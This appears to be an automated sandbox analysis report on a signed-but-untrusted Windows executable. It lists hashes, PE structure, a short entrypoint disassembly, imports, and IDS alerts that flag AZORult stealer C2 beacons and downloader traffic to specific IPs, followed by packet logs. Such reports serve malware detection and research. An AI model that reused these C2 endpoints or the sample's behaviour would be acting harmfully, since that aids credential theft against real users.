SSDEEP:	24576:YuA8/BOypdAGTekMh6RJNBIQll+hQT2jiux5A:+IBOypdAGTRrRFIQlluQsxq
TLSH:	22251236FEE3C46BE409AA75D89382F45B76AC16BA48036F37433F3E5E721D18805661
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<`..x...x...x.......z...x...........i...,"..t.......y...Richx...........................PE..L....f.R.................\....9....

File Icon


Icon Hash:	1b634b231d890b07

Static PE Info

General

Entrypoint:	0x4030cb
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x52BA669C [Wed Dec 25 05:01:16 2013 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	e160ef8e55bb9d162da4e266afd9eef3

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Erythritic, E=Penibelt@Konebytningers.Pr, O=Erythritic, L=Little Elm, OU="Besaaende Unfreezable ", S=Texas, C=US
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	13/12/2024 10:19:36 13/12/2025 10:19:36
Subject Chain	CN=Erythritic, E=Penibelt@Konebytningers.Pr, O=Erythritic, L=Little Elm, OU="Besaaende Unfreezable ", S=Texas, C=US
Version:	3
Thumbprint MD5:	D1F2F8B59AB2B15679C32B0FD86A61A1
Thumbprint SHA-1:	C85BD79A0E2F930ABE2234857E37055D30C8409B
Thumbprint SHA-256:	5AA39C77B8766631A4424B91E036ECE8A12EBDB8F8B865EBE08669244B774BFA
Serial:	74278CE4A18F0AAADF6450605278BB198B96301A

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push ebp
push esi
xor ebx, ebx
push edi
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409190h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [00407034h]
push 00008001h
call dword ptr [0040711Ch]
push ebx
call dword ptr [0040728Ch]
push 00000008h
mov dword ptr [007A1FB8h], eax
call 00007F35D504199Ah
mov dword ptr [007A1F04h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0079D4B8h
call dword ptr [00407164h]
push 00409180h
push 007A1700h
call 00007F35D5041644h
call dword ptr [00407120h]
mov ebp, 007A7000h
push eax
push ebp
call 00007F35D5041632h
push ebx
call dword ptr [00407118h]
cmp byte ptr [007A7000h], 00000022h
mov dword ptr [007A1F00h], eax
mov eax, ebp
jne 00007F35D503EC0Ch
mov byte ptr [esp+14h], 00000022h
mov eax, 007A7001h
push dword ptr [esp+14h]
push eax
call 00007F35D50410C2h
push eax
call dword ptr [00407220h]
mov dword ptr [esp+1Ch], eax
jmp 00007F35D503ECC5h
cmp cl, 00000020h
jne 00007F35D503EC08h
inc eax
cmp byte ptr [eax], 00000020h
je 00007F35D503EBFCh

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x73a4	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3b2000	0x21c10	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xeae00	0x720	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5bc6	0x5c00	1c2121f50aaec3e631d6b7fee7746690	False	0.682022758152174	data	6.511374859754948	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x11ce	0x1200	640f709ec19b4ed0455a4c64e5934d5e	False	0.4520399305555556	OpenPGP Secret Key	5.23558258677739	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x398ff8	0x400	b0f803610c3eabc488111ca7ad209e8f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x3a2000	0x10000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3b2000	0x21c10	0x21e00	a390f1be47631b0c8b3b36036c983f89	False	0.3124639644833948	data	3.7564616591434143	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x3b24f0	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x3b2858	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864	English	United States	0.33532163128021863
RT_ICON	0x3bbd00	0x70a8	Device independent bitmap graphic, 96 x 192 x 24, image size 27648	English	United States	0.22493065187239944
RT_ICON	0x3c2da8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	English	United States	0.37954652810581013
RT_ICON	0x3c6fd0	0x3228	Device independent bitmap graphic, 64 x 128 x 24, image size 12288	English	United States	0.2510903426791277
RT_ICON	0x3ca1f8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	United States	0.40736514522821576
RT_ICON	0x3cc7a0	0x1ca8	Device independent bitmap graphic, 48 x 96 x 24, image size 6912	English	United States	0.26404034896401307
RT_ICON	0x3ce448	0x1628	Device independent bitmap graphic, 64 x 128 x 8, image size 4096	English	United States	0.3182299012693935
RT_ICON	0x3cfa70	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	United States	0.4674015009380863
RT_ICON	0x3d0b18	0xca8	Device independent bitmap graphic, 32 x 64 x 24, image size 3072	English	United States	0.287962962962963
RT_ICON	0x3d17c0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	English	United States	0.5127049180327868
RT_ICON	0x3d2148	0x748	Device independent bitmap graphic, 24 x 48 x 24, image size 1728	English	United States	0.3052575107296137
RT_ICON	0x3d2890	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	English	United States	0.5540780141843972
RT_ICON	0x3d2cf8	0x368	Device independent bitmap graphic, 16 x 32 x 24, image size 768	English	United States	0.3451834862385321
RT_DIALOG	0x3d3060	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x3d31a8	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x3d32e8	0x100	data	English	United States	0.5234375
RT_DIALOG	0x3d33e8	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x3d3508	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x3d35d0	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x3d3630	0xbc	data	English	United States	0.6063829787234043
RT_VERSION	0x3d36f0	0x218	data	English	United States	0.5317164179104478
RT_MANIFEST	0x3d3908	0x305	XML 1.0 document, ASCII text, with very long lines (773), with no line terminators	English	United States	0.5614489003880984

Imports

DLL	Import
KERNEL32.dll	GetTickCount, GetFullPathNameA, MoveFileA, SetCurrentDirectoryA, GetFileAttributesA, GetLastError, CreateDirectoryA, SetFileAttributesA, SearchPathA, GetShortPathNameA, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, ExitProcess, SetEnvironmentVariableA, GetWindowsDirectoryA, GetTempPathA, Sleep, CloseHandle, LoadLibraryA, lstrlenA, lstrcpynA, GetDiskFreeSpaceA, GlobalUnlock, GlobalLock, CreateThread, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, ReadFile, lstrcpyA, lstrcatA, GetSystemDirectoryA, GetVersion, GetProcAddress, GlobalAlloc, CompareFileTime, SetFileTime, ExpandEnvironmentStringsA, lstrcmpiA, lstrcmpA, WaitForSingleObject, GlobalFree, GetExitCodeProcess, GetModuleHandleA, SetErrorMode, GetCommandLineA, LoadLibraryExA, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, WriteFile, FindClose, WritePrivateProfileStringA, MultiByteToWideChar, MulDiv, GetPrivateProfileStringA, FreeLibrary
USER32.dll	CreateWindowExA, EndDialog, ScreenToClient, GetWindowRect, EnableMenuItem, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, GetDC, SystemParametersInfoA, RegisterClassA, TrackPopupMenu, AppendMenuA, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, DestroyWindow, CreateDialogParamA, SetTimer, GetDlgItem, wsprintfA, SetForegroundWindow, ShowWindow, IsWindow, LoadImageA, SetWindowLongA, SetClipboardData, EmptyClipboard, OpenClipboard, EndPaint, PostQuitMessage, FindWindowExA, SendMessageTimeoutA, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegCloseKey, RegOpenKeyExA, RegDeleteKeyA, RegDeleteValueA, RegEnumValueA, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	CoCreateInstance, CoTaskMemFree, OleInitialize, OleUninitialize
VERSION.dll	GetFileVersionInfoSizeA, GetFileVersionInfoA, VerQueryValueA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-15T17:37:48.886834+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	52399	107.151.162.135	80	TCP
2025-01-15T17:37:49.965763+0100	2029467	ET MALWARE Win32/AZORult V3.3 Client Checkin M14	1	192.168.2.6	52410	104.21.32.1	80	TCP
2025-01-15T17:37:49.965763+0100	2810276	ETPRO MALWARE AZORult CnC Beacon M1	1	192.168.2.6	52410	104.21.32.1	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 17:37:20.840043068 CET	52234	53	192.168.2.6	1.1.1.1
Jan 15, 2025 17:37:20.844881058 CET	53	52234	1.1.1.1	192.168.2.6
Jan 15, 2025 17:37:20.844949007 CET	52234	53	192.168.2.6	1.1.1.1
Jan 15, 2025 17:37:20.849936008 CET	53	52234	1.1.1.1	192.168.2.6
Jan 15, 2025 17:37:21.474772930 CET	52234	53	192.168.2.6	1.1.1.1
Jan 15, 2025 17:37:21.481142998 CET	53	52234	1.1.1.1	192.168.2.6
Jan 15, 2025 17:37:21.481216908 CET	52234	53	192.168.2.6	1.1.1.1
Jan 15, 2025 17:37:48.292965889 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.297863007 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.297939062 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.298095942 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.303019047 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.886574984 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.886595011 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.886619091 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.886635065 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.886692047 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.886708021 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.886723995 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.886833906 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.886833906 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.886833906 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.886833906 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.886833906 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.886869907 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.886887074 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.886903048 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.886924982 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.886924982 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.886946917 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.891781092 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.891807079 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.891822100 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.891850948 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.891850948 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.891932964 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.892038107 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.892079115 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.975086927 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.975104094 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.975119114 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.975177050 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.975177050 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.975210905 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.975227118 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.975253105 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.975287914 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.975374937 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.975406885 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.975420952 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.975429058 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.975451946 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.975481033 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.975804090 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.975820065 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.975832939 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.975847006 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.975858927 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.975858927 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.975861073 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.975893021 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.975893021 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.976499081 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.976516008 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.976530075 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.976543903 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.976557970 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.976557016 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.976557970 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.976572990 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.976581097 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.976602077 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.976620913 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.977421045 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.977436066 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.977449894 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.977464914 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:48.977466106 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.977504969 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.977505922 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:48.977505922 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.016617060 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.016633987 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.016647100 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.016674995 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.016701937 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.063625097 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.063641071 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.063656092 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.063735962 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.063766956 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.063781977 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.063796997 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.063812017 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.063826084 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.063838959 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.063853025 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.063859940 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.063860893 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.063956022 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.064704895 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.064728022 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.064743042 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.064764023 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.064774990 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.064779997 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.064815044 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.064893007 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.065382004 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.065447092 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.065455914 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.065471888 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.065485954 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.065500021 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.065515041 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.065519094 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.065531969 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.065555096 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.065606117 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.066375017 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.066399097 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.066412926 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.066426992 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.066440105 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.066459894 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.066466093 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.066477060 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.066509962 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.066549063 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.067390919 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.067414045 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.067428112 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.067442894 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.067456961 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.067471027 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.067475080 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.067487955 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.067516088 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.067570925 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.068361998 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.068376064 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.068391085 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.068403959 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.068418026 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.068454981 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.068485022 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.104641914 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.104695082 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.104708910 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.104722977 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.104736090 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.104741096 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.104751110 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.104820967 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.104820967 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.104929924 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.104943991 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.105005980 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.152110100 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.152127028 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.152142048 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.152156115 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.152185917 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.152226925 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.152255058 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.152270079 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.152285099 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.152298927 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.152309895 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.152333975 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.152365923 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.152601004 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.152616024 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.152631044 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.152645111 CET	80	52399	107.151.162.135	192.168.2.6
Jan 15, 2025 17:37:49.152673006 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.152673006 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.152704954 CET	52399	80	192.168.2.6	107.151.162.135
Jan 15, 2025 17:37:49.496335030 CET	52410	80	192.168.2.6	104.21.32.1
Jan 15, 2025 17:37:49.501297951 CET	80	52410	104.21.32.1	192.168.2.6
Jan 15, 2025 17:37:49.501498938 CET	52410	80	192.168.2.6	104.21.32.1
Jan 15, 2025 17:37:49.501498938 CET	52410	80	192.168.2.6	104.21.32.1
Jan 15, 2025 17:37:49.506342888 CET	80	52410	104.21.32.1	192.168.2.6
Jan 15, 2025 17:37:49.965646029 CET	80	52410	104.21.32.1	192.168.2.6
Jan 15, 2025 17:37:49.965702057 CET	80	52410	104.21.32.1	192.168.2.6
Jan 15, 2025 17:37:49.965737104 CET	80	52410	104.21.32.1	192.168.2.6
Jan 15, 2025 17:37:49.965763092 CET	52410	80	192.168.2.6	104.21.32.1
Jan 15, 2025 17:37:49.965773106 CET	80	52410	104.21.32.1	192.168.2.6
Jan 15, 2025 17:37:49.965806007 CET	80	52410	104.21.32.1	192.168.2.6
Jan 15, 2025 17:37:49.965842009 CET	52410	80	192.168.2.6	104.21.32.1
Jan 15, 2025 17:37:49.965941906 CET	52410	80	192.168.2.6	104.21.32.1
Jan 15, 2025 17:37:49.966274977 CET	52410	80	192.168.2.6	104.21.32.1
Jan 15, 2025 17:37:49.966613054 CET	80	52410	104.21.32.1	192.168.2.6
Jan 15, 2025 17:37:49.966774940 CET	52410	80	192.168.2.6	104.21.32.1
Jan 15, 2025 17:37:49.971106052 CET	80	52410	104.21.32.1	192.168.2.6
Jan 15, 2025 17:37:51.388237000 CET	52399	80	192.168.2.6	107.151.162.135

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 17:37:20.839575052 CET	53	64442	1.1.1.1	192.168.2.6
Jan 15, 2025 17:37:48.249058008 CET	55639	53	192.168.2.6	1.1.1.1
Jan 15, 2025 17:37:48.288681030 CET	53	55639	1.1.1.1	192.168.2.6
Jan 15, 2025 17:37:49.482278109 CET	61459	53	192.168.2.6	1.1.1.1
Jan 15, 2025 17:37:49.495398045 CET	53	61459	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
